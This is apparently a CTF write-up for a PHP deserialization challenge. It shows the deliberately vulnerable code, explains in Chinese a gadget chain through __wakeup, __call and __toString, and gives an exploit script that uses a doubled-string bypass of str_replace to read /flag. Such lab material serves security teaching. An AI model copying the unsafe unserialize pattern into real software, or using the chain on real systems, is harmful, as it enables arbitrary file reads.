<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
// 当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}
__call魔术方法
当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()
我们的攻击链如下:
unserialize()
↓
Polar::__wakeup()
↓
$this->night->hacker($this->night_arg);
↓
$this->night = Night对象(Night存在__call)
↓
Night::__call($name, $arguments)
↓
echo "xxx" . $arguments[0];
↓
$arguments[0] = Day对象,对象参与字符串拼接 → Day::__toString()
↓
file_get_contents($this->filename) 读取文件!
反序列化Polar类会自动触发__wakup,我们可以将night赋值为Night的实例,由于Night不存在hacker函数则会触发__call魔术方法
在class Night中使用echo 输出了$atguments0,这个操作可以触发__toString的魔术方法,那么我们可以将night_arg赋值为class Day的实例
这样就可以触发class Day的__toString魔术方法,但是由于其中使用了str_replace进行过滤,我们可以将$filename="/flag"进行双写为/flaflagg来绕过str_replace的过滤
EXP如下
php
<?php
class Polar
{
public $night;
public $night_arg;
}
class Night
{
}
class Day
{
public $filename="/flflagag";
}
$polar = new Polar();
$night = new Night();
$Day = new Day();
$polar->night = $night;
$polar->night_arg = $Day;
echo base64_encode(serialize($polar))
?>
